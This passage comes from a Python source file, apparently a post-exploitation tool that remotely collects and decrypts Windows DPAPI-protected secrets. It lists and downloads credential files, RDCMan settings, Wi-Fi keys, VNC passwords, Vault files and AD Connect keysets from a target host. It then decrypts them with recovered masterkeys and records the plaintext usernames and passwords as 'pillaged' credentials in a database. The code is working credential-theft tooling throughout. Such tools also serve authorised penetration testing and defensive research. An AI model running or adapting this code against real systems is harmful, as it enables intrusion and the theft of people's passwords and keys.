|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Get_AD_Connect 2{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
else :
|
|
self.logging.info(
|
|
f"[{self.options.target_ip}] [+] {bcolors.WARNING} Masterkey NOT Found for ADConnect {bcolors.ENDC}")
|
|
return info
|
|
|
|
def Get_DPAPI_Protected_Files(self):
|
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering DPAPI Secret blobs on the target{bcolors.ENDC}")
|
|
blacklist = ['.', '..']
|
|
#credentials ?
|
|
#Vaults ?
|
|
#Parse chrome
|
|
#autres navigateurs ?
|
|
#CredHistory
|
|
#Appdata Roaming ?
|
|
|
|
user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Credentials",'*','credential','DOMAIN'),
|
|
("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential', 'MACHINE-USER'),
|
|
("Users\\{username}\\AppData\\Roaming\\Microsoft\\Credentials", '*', 'credential','DOMAIN'),
|
|
("Users\\{username}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings","*.rdg",'rdg','DOMAIN')
|
|
]#ADD Desktop for RDG
|
|
machine_directories = [("Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials",'*','credential','MACHINE'),
|
|
("Windows\\ServiceProfiles\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*',
|
|
'credential', 'MACHINE-USER'),
|
|
("Users\\ADSync\\AppData\\Local\\Microsoft\\Credentials", '*', 'credential', 'MACHINE-USER'),
|
|
#Valider le %systemdir% selon la version de windows ?
|
|
]
|
|
|
|
for user in self.users:
|
|
if user.username == 'MACHINE$':
|
|
directories_to_use = machine_directories
|
|
else:
|
|
directories_to_use = user_directories
|
|
|
|
#if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
|
|
for info in directories_to_use:
|
|
my_dir,my_mask,my_blob_type, my_user_type=info
|
|
tmp_pwd = my_dir.format(username=user.username) ##ntpath.join(ntpath.join('Users', user.username), my_dir)
|
|
self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
|
|
my_directory = self.myfileops.do_ls(tmp_pwd,my_mask, display=False)
|
|
for infos in my_directory:
|
|
longname, is_directory = infos
|
|
self.logging.debug("ls returned file %s"%longname)
|
|
if longname not in blacklist and not is_directory:
|
|
try:
|
|
self.logging.debug( f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} encrypted files {longname}")
|
|
# Downloading Blob file
|
|
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd,longname))
|
|
user.files[longname]={}
|
|
user.files[longname]['type'] = my_blob_type
|
|
user.files[longname]['status'] = 'encrypted'
|
|
user.files[longname]['path'] = localfile
|
|
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = localfile # Masterkeyfile to parse
|
|
myoptions.masterkeys = None# user.masterkeys_file
|
|
myoptions.key = None
|
|
mydpapi = DPAPI(myoptions,self.logging)
|
|
guid=mydpapi.find_CredentialFile_masterkey()
|
|
self.logging.debug( f"[{self.options.target_ip}] Looking for {longname} masterkey : {guid}")
|
|
if guid != None :
|
|
masterkey=self.get_masterkey(user=user,guid=guid,type=my_user_type)
|
|
if masterkey!=None:
|
|
if masterkey['status']=='decrypted':
|
|
mydpapi.options.key = masterkey['key']
|
|
cred_data = mydpapi.decrypt_credential()
|
|
if cred_data != None:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Secret {longname}{bcolors.ENDC}")
|
|
user.files[longname]['status'] = 'decrypted'
|
|
user.files[longname]['data'] = cred_data
|
|
self.process_decrypted_data(user,user.files[longname])#cred_data,user,localfile,my_blob_type)
|
|
else:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Blob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
return 1
|
|
|
|
def GetWifi(self):
|
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Wifi Keys{bcolors.ENDC}")
|
|
blacklist = ['.', '..']
|
|
machine_directories = [("ProgramData\\Microsoft\\Wlansvc\\Profiles\\Interfaces",'*.xml')]
|
|
|
|
for info in machine_directories:
|
|
user = self.GetUserByName('MACHINE$')
|
|
my_dir,my_mask=info
|
|
#interface name
|
|
self.logging.debug(f"[{self.options.target_ip}] [+] Looking for interfaces in {my_dir}")#No mask
|
|
my_directory = self.myfileops.do_ls(my_dir,'*', display=False)
|
|
for infos in my_directory:
|
|
longname, is_directory = infos
|
|
if longname not in blacklist and is_directory:
|
|
self.logging.debug(f"[{self.options.target_ip}] [+] Got Wifi interface {longname}")
|
|
tmp_pwd=ntpath.join(my_dir,longname)
|
|
my_directory2 = self.myfileops.do_ls(tmp_pwd,my_mask, display=False)
|
|
for infos2 in my_directory2:
|
|
longname2, is_directory2 = infos2
|
|
if longname2 not in blacklist and not is_directory2:
|
|
self.logging.debug(f"[{self.options.target_ip}] [+] Got wifi config file {longname2}")
|
|
# Downloading Blob file
|
|
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd,longname2))
|
|
user.files[longname2] = {}
|
|
user.files[longname2]['type'] = 'wifi'
|
|
user.files[longname2]['status'] = 'encrypted'
|
|
user.files[longname2]['path'] = localfile
|
|
|
|
|
|
with open(localfile, 'rb') as f:
|
|
try:
|
|
file_data = f.read().replace(b'\x0a', b'').replace(b'\x0d', b'')
|
|
wifi_name = re.search(b'<name>([^<]+)</name>', file_data)
|
|
wifi_name = wifi_name.group(1)
|
|
user.files[longname2]['wifi_name'] = wifi_name
|
|
key_material_re = re.search(b'<keyMaterial>([0-9A-F]+)</keyMaterial>', file_data)
|
|
if not key_material_re:
|
|
continue
|
|
key_material = key_material_re.group(1)
|
|
#with open("key_material.tmp", "wb") as f:
|
|
# f.write(binascii.unhexlify(key_material))
|
|
except Exception as ex:
|
|
self.logging.error(f"{bcolors.WARNING}Error in wifi parsing{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
try:
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = None#"key_material.tmp" # BLOB to parse
|
|
myoptions.key = None
|
|
myoptions.masterkeys = None#user.masterkeys_file
|
|
mydpapi = DPAPI(myoptions, self.logging)
|
|
guid = mydpapi.find_Blob_masterkey(raw_data=binascii.unhexlify(key_material))
|
|
self.logging.debug(f"[{self.options.target_ip}] Looking for {longname2} masterkey : {guid}")
|
|
if guid != None:
|
|
masterkey = self.get_masterkey(user=user, guid=guid, type='MACHINE')
|
|
if masterkey != None:
|
|
if masterkey['status'] == 'decrypted':
|
|
mydpapi.options.key = masterkey['key']
|
|
#cred_data = mydpapi.decrypt_credential()
|
|
cred_data = mydpapi.decrypt_blob(raw_data=binascii.unhexlify(key_material))
|
|
if cred_data != None:
|
|
user.files[longname2]['status'] = 'decrypted'
|
|
user.files[longname2]['data'] = cred_data
|
|
user.files[longname2]['secret'] = cred_data
|
|
self.logging.info( f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} Wifi {bcolors.OKBLUE}{wifi_name} {bcolors.OKGREEN} - {cred_data}{bcolors.ENDC}")
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='wifi',
|
|
credz_username=wifi_name.decode('utf-8'),
|
|
credz_password=cred_data.decode('utf-8'),
|
|
credz_target=wifi_name.decode('utf-8'),
|
|
credz_path=user.files[longname2]['path'],
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
#semf.process_decrypted_data(user.files[longname2])#cred_data, user, localfile, type='wifi', args=[wifi_name])
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFI Blob for {localfile} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting WIFIBlob for {localfile} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
|
|
except Exception as ex:
|
|
self.logging.error(f"{bcolors.WARNING}Exception decrypting wifi credentials{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
return 1
|
|
|
|
def GetVNC(self):
|
|
try:
|
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering VNC Passwords{bcolors.ENDC}")
|
|
myvnc = Vnc(self.myregops, self.myfileops, self.logging, self.options, self.db)
|
|
myvnc.vnc_from_filesystem()
|
|
myvnc.vnc_from_registry()
|
|
except Exception as ex:
|
|
self.logging.error(f"{bcolors.WARNING}Exception IN VNC GATHERING{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def GetVaults(self):
|
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Vaults{bcolors.ENDC}")
|
|
blacklist = ['.', '..','UserProfileRoaming']
|
|
#credentials ?
|
|
#Vaults ?
|
|
#Parse chrome
|
|
#autres navigateurs ?
|
|
#CredHistory
|
|
|
|
user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Vault", '*', 'vault','DOMAIN')]
|
|
machine_directories = [("ProgramData\\Microsoft\\Vault",'*','vault','MACHINE'),
|
|
("Windows\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Vault\\",'*','vault','MACHINE')] #Windows hello pincode
|
|
|
|
for user in self.users:
|
|
if user.username == 'MACHINE$':
|
|
directories_to_use = machine_directories
|
|
else:
|
|
directories_to_use = user_directories
|
|
|
|
if len(user.masterkeys_file)>0:#Pas de masterkeys==pas de datas a recup
|
|
for info in directories_to_use:
|
|
my_dir, my_mask, my_blob_type, my_user_type = info
|
|
tmp_pwd = my_dir.format(username=user.username) #f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
|
|
self.logging.debug("Looking for %s Vaults in %s with mask %s" % (user.username, tmp_pwd, my_mask))
|
|
my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
|
|
for infos in my_directory:
|
|
longname, is_directory = infos
|
|
self.logging.debug("ls returned %s" % longname)
|
|
if longname not in blacklist and is_directory:
|
|
self.logging.debug("Got Vault Directory %s" % longname)
|
|
tmp_pwd2 = ntpath.join(tmp_pwd, longname)
|
|
try:
|
|
# First get the Policy.vpol
|
|
local_vpol_file = self.myfileops.get_file(ntpath.join(tmp_pwd2, "Policy.vpol"))
|
|
user.files[longname] = {}
|
|
user.files[longname]['type'] = my_blob_type
|
|
user.files[longname]['status'] = 'encrypted'
|
|
user.files[longname]['UID'] = longname
|
|
user.files[longname]['path'] = tmp_pwd2
|
|
user.files[longname]['vpol_path'] = local_vpol_file
|
|
user.files[longname]['vpol_status'] = 'encrypted'
|
|
user.files[longname]['vsch'] = {}
|
|
user.files[longname]['vcrd'] = {}
|
|
user.files[longname]['data'] = ''
|
|
# Decrypt the keys
|
|
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.vcrd = None # Vault File to parse
|
|
myoptions.masterkeys = None
|
|
myoptions.vpol = local_vpol_file
|
|
myoptions.key = None
|
|
mydpapi = DPAPI(myoptions,self.logging)
|
|
guid = mydpapi.find_Vault_Masterkey()
|
|
if guid != None:
|
|
masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
|
|
if masterkey != None:
|
|
if masterkey['status'] == 'decrypted':
|
|
mydpapi.options.key = masterkey['key']
|
|
keys = mydpapi.decrypt_vault()
|
|
if keys != None:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Vault Policy file Decryption successfull - {local_vpol_file}{bcolors.ENDC}")
|
|
tmp_vaultkeys = []
|
|
if keys['Key1']['Size'] > 0x24:
|
|
tmp_vaultkeys.append(
|
|
'0x%s' % binascii.hexlify(keys['Key2']['bKeyBlob']))
|
|
tmp_vaultkeys.append(
|
|
'0x%s' % binascii.hexlify(keys['Key1']['bKeyBlob']))
|
|
else:
|
|
tmp_vaultkeys.append(
|
|
'0x%s' % binascii.hexlify(
|
|
keys['Key2']['bKeyBlob']['bKey']).decode('latin-1'))
|
|
tmp_vaultkeys.append(
|
|
'0x%s' % binascii.hexlify(
|
|
keys['Key1']['bKeyBlob']['bKey']).decode('latin-1'))
|
|
self.logging.debug( f"[{self.options.target_ip}] Saving {len(tmp_vaultkeys)} Vault keys {bcolors.ENDC}")
|
|
user.files[longname]['vpol_status'] = 'decrypted'
|
|
user.files[longname]['status'] = 'decrypted'
|
|
user.files[longname]['data'] = tmp_vaultkeys
|
|
else:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}")
|
|
continue
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - Masterkey not decrypted{bcolors.ENDC}")
|
|
continue
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
|
|
continue
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting Policy.vpol {local_vpol_file} with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
|
|
continue
|
|
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Policy.vpol {local_vpol_file} with Masterkey{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
continue
|
|
|
|
|
|
#Look for .vsch : Vault Schema file
|
|
|
|
#Then gets *.vcrd files
|
|
my_directory2 = self.myfileops.do_ls(tmp_pwd2, my_mask, display=False)
|
|
self.logging.debug( f"[{self.options.target_ip}] Found {len(my_directory2)} files in {tmp_pwd2}")
|
|
for infos2 in my_directory2:
|
|
longname2, is_directory2 = infos2
|
|
self.logging.debug("ls returned file %s"%longname2)
|
|
if longname2 not in blacklist and not is_directory2 and not longname2=="Policy.vpol":
|
|
try:
|
|
# Downloading Blob file
|
|
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd2,longname2))
|
|
if longname2[-4:]=='vsch': #PAS G2R2 pour le moment
|
|
user.files[longname]['vsch'][localfile]={}
|
|
user.files[longname]['vsch'][localfile]['status'] = 'encrypted'
|
|
user.files[longname]['vsch'][localfile]['type'] = 'vsch'
|
|
user.files[longname]['vsch'][localfile]['vault_name'] = longname2
|
|
user.files[longname]['vsch'][localfile]['path'] = localfile
|
|
continue
|
|
elif longname2[-4:]=='vcrd':
|
|
user.files[longname]['vcrd'][localfile] = {}
|
|
user.files[longname]['vcrd'][localfile]['status'] = 'encrypted'
|
|
user.files[longname]['vcrd'][localfile]['type'] = 'vcrd'
|
|
user.files[longname]['vcrd'][localfile]['vault_name'] = longname2
|
|
user.files[longname]['vcrd'][localfile]['path'] = localfile
|
|
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.vcrd = localfile # Vault File to parse
|
|
myoptions.vaultkeys = tmp_vaultkeys
|
|
myoptions.vpol=None
|
|
myoptions.key = None
|
|
mydpapi = DPAPI(myoptions,self.logging)
|
|
vault_data,data_type = mydpapi.decrypt_vault()
|
|
if vault_data != None:
|
|
user.files[longname]['vcrd'][localfile]['status'] = 'decrypted'
|
|
user.files[longname]['vcrd'][localfile]['data'] = vault_data
|
|
user.files[longname]['vcrd'][localfile]['vault_type'] = data_type
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username} {bcolors.OKGREEN}Vault .vcrd Decryption successfull - {localfile}{bcolors.ENDC}")
|
|
self.process_decrypted_vault(user,user.files[longname]['vcrd'][localfile])#vault_data,user,localfile,my_blob_type,args=[longname2,data_type])
|
|
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting vcrd Vault with Masterkey - {longname2} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
return 1
|
|
|
|
def dump_to_file(self,localfile_encrypted,localdata_decrypted):
|
|
self.logging.debug(f"[{self.options.target_ip}] Dumping decrypted {localfile_encrypted} to file{bcolors.ENDC}")
|
|
try:
|
|
localfile_decrypted = os.path.join(os.path.split(localfile_encrypted)[0],os.path.split(localfile_encrypted)[1]+"_decrypted")
|
|
fh = open(localfile_decrypted, 'wb')
|
|
fh.write(f"{localdata_decrypted}".encode('utf-8'))
|
|
fh.close()
|
|
return 1
|
|
except Exception as ex:
|
|
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_to_file{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def process_decrypted_data(self, user, secret_file): # data ,user ,localfile,blob_type,args=[]):
|
|
try:
|
|
self.logging.debug(f"[{self.options.target_ip}] [+] process_decrypted_data of {secret_file} {bcolors.ENDC}")
|
|
blob_type = secret_file['type']
|
|
localfile = secret_file['path']
|
|
data = secret_file['data']
|
|
if blob_type == 'rdg':
|
|
self.logging.debug("IT S A Remote Desktop Cred file")
|
|
clear_data = self.dump_credential_blob(data)
|
|
elif blob_type == 'credential':
|
|
|
|
if 'Domain:target=TERMSRV' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=TERMSRV' in data['Target'].decode('utf-16le'):
|
|
clear_data=self.dump_CREDENTIAL_TSE(user, localfile, data)
|
|
elif 'Domain:target=msteams' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=msteams' in data['Target'].decode('utf-16le'):
|
|
self.logging.debug("IT S A MSTeam Credential!")
|
|
clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data)
|
|
elif 'Domain:batch=TaskScheduler' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=msteams' in data['Target'].decode('utf-16le'):
|
|
self.logging.debug("IT S A TaskScheduler Cred!")
|
|
clear_data = self.dump_CREDENTIAL_TASKSCHEDULER(user, localfile, data)
|
|
'''Domain:batch=TaskScheduler:Task:{31368695-xxxxxxxxxxx}
|
|
Username : Domain\Administrateur
|
|
Unknown3 : @&&&&&&&
|
|
'''
|
|
elif 'Domain:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode('utf-16le') or 'LegacyGeneric:target=MicrosoftOffice16_Data:orgid' in data['Target'].decode('utf-16le'):
|
|
self.logging.debug("IT S A Office365 Cred!")
|
|
clear_data = self.dump_CREDENTIAL_TSE(user, localfile, data)
|
|
'''
|
|
[CREDENTIAL]
|
|
LastWritten : 2020-02-18 08:48:39
|
|
Flags : 48 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
|
|
Persist : 0x3 (CRED_PERSIST_ENTERPRISE)
|
|
Type : 0x1 (CRED_PERSIST_SESSION)
|
|
Target : LegacyGeneric:target=MicrosoftOffice15_Data:SSPI:v.xxxxxxx@xxxxxx.com
|
|
Description :
|
|
Unknown :
|
|
Username :
|
|
Unknown3 : xxxxxxxxx
|
|
|
|
|
|
|
|
'''
|
|
elif 'WindowsLive:target=virtualapp/didlogical' in data['Target'].decode('utf-16le'):
|
|
self.logging.debug("IT S A Windows Live service or application Cred!")
|
|
clear_data = self.dump_credential_blob(user, localfile, data)
|
|
# ADCONNECT
|
|
elif 'Microsoft_AzureADConnect_KeySet' in data['Target'].decode('utf-16le'):
|
|
self.logging.debug(f"{bcolors.WARNING}IT S A Microsoft_AzureADConnect_KeySet Cred!{bcolors.ENDC}")
|
|
clear_data = self.Get_AD_Connect(user, localfile, data)
|
|
elif 'LegacyGeneric:target=' in data['Target'].decode('utf-16le'):#Autres Targets
|
|
self.logging.debug("Other legacy Credential")
|
|
clear_data = self.dump_credential_blob(user, localfile, data)
|
|
else:
|
|
self.logging.debug("Unknown Cred Target content - testing as Credential BLOB")
|
|
clear_data = self.dump_credential_blob(user, localfile, data)
|
|
#clear_data = ''
|
|
secret_file['secret'] = clear_data
|
|
self.dump_to_file(localfile, clear_data)
|
|
self.logsecret(clear_data)
|
|
|
|
# TSE Account
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
|
|
def dump_credential_blob(self,user, localfile, decrypted_blob):
|
|
#from impacket.ese import getUnixTime
|
|
try:
|
|
self.logging.debug("Dumping decrypted credential blob info to file")
|
|
#self.logging.debug(decrypted_blob)
|
|
info="\n"
|
|
info+=f"[CREDENTIAL]\n"
|
|
try:
|
|
info+=f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
|
|
info+=f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
|
|
info+=f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
|
|
info+=f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
|
|
self.logging.debug(info)
|
|
except Exception as ex:
|
|
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
info+=f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
|
|
info+=f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
|
|
info+=f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
|
|
info+=f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
|
|
try:
|
|
info+=f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
|
|
password=f"{decrypted_blob['Unknown3'].decode('utf-16le')}"
|
|
except UnicodeDecodeError:
|
|
info+=f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
|
|
password = f"{decrypted_blob['Unknown3'].decode('latin-1')}"
|
|
#print()
|
|
if "WindowsLive:target=virtualapp" not in f"{decrypted_blob['Target'].decode('utf-16le')}" :#"WindowsLive:target=virtualapp/didlogical" On ne gere pas pour le moment// A voir pour rassembler le contenu en 1 nouveau blob ?
|
|
for entry in decrypted_blob.attributes:
|
|
try:
|
|
info += f"KeyWord : {entry['KeyWord'].decode('utf-16le')}\n"
|
|
info += f"Flags : {entry['Flags']}, {impacket.dpapi.getFlags(CREDENTIAL_FLAGS, entry['Flags'])}\n"
|
|
info += f"Data : {entry['Data']}\n"
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 2 decrypted_blob.attributes {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
entry.dump()
|
|
continue
|
|
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='credential-blob',
|
|
credz_username=decrypted_blob['Username'].decode('utf-16le'),
|
|
credz_password=password,
|
|
credz_target=decrypted_blob['Target'].decode('utf-16le'),
|
|
credz_path=localfile,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
|
|
self.logging.debug(info)
|
|
return info
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def dump_CREDENTIAL_TSE(self, user,localfile,decrypted_blob):
|
|
#from impacket.ese import getUnixTime
|
|
try:
|
|
self.logging.debug("Dumping TSE decrypted credential blob info to file")
|
|
#self.logging.debug(decrypted_blob)
|
|
info="\n"
|
|
info+=f"[CREDENTIAL]\n"
|
|
try:
|
|
info+=f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
|
|
info+=f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
|
|
info+=f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
|
|
info+=f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
|
|
except Exception as ex:
|
|
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
info+=f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
|
|
info+=f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
|
|
info+=f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
|
|
info+=f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
|
|
try:
|
|
info+=f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
|
|
password=decrypted_blob['Unknown3'].decode('utf-16le')
|
|
except UnicodeDecodeError:
|
|
info+=f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
|
|
password=decrypted_blob['Unknown3'].decode('latin-1')
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='browser-internet_explorer',
|
|
credz_username=decrypted_blob['Username'].decode('utf-16le'),
|
|
credz_password=password,
|
|
credz_target=decrypted_blob['Target'].decode('utf-16le'),
|
|
credz_path=localfile,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
self.logging.debug(info)
|
|
return info
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def dump_CREDENTIAL_MSOFFICE(self, user,localfile,decrypted_blob):
|
|
#from impacket.ese import getUnixTime
|
|
try:
|
|
self.logging.debug("Dumping Microsoft Office decrypted credential blob info to file")
|
|
#self.logging.debug(decrypted_blob)
|
|
info="\n"
|
|
info+=f"[CREDENTIAL]\n"
|
|
try:
|
|
info+=f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n"
|
|
info+=f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n"
|
|
info+=f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n"
|
|
info+=f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n"
|
|
except Exception as ex:
|
|
self.logging.debug( f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
info+=f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n"
|
|
info+=f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n"
|
|
info+=f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n"
|
|
info+=f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n"
|
|
try:
|
|
info+=f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n"
|
|
password=decrypted_blob['Unknown3'].decode('utf-16le')
|
|
except UnicodeDecodeError:
|
|
info+=f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n"
|
|
password=decrypted_blob['Unknown3'].decode('latin-1')
|
|
|
|
|
|
############PROCESSING DATA
|
|
self.db.add_credz(credz_type='browser-internet_explorer',
|
|
credz_username=decrypted_blob['Username'].decode('utf-16le'),
|
|
credz_password=password,
|
|
credz_target=decrypted_blob['Target'].decode('utf-16le'),
|
|
credz_path=localfile,
|
|
pillaged_from_computer_ip=self.options.target_ip,
|
|
pillaged_from_username=user.username)
|
|
self.logging.debug(info)
|
|
return info
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def dump_CREDENTIAL_TASKSCHEDULER(self, user,localfile,decrypted_blob):
|
|
#from impacket.ese import getUnixTime
|
|
try:
|
|
self.logging.debug("Dumping TASKSCHEDULER decrypted credential blob info to file")
|
|
#self.logging.debug(decrypted_blob)
|
|
info="\n"
|
|
info+=f"[CREDENTIAL]\n"
|
|
try:
|
|
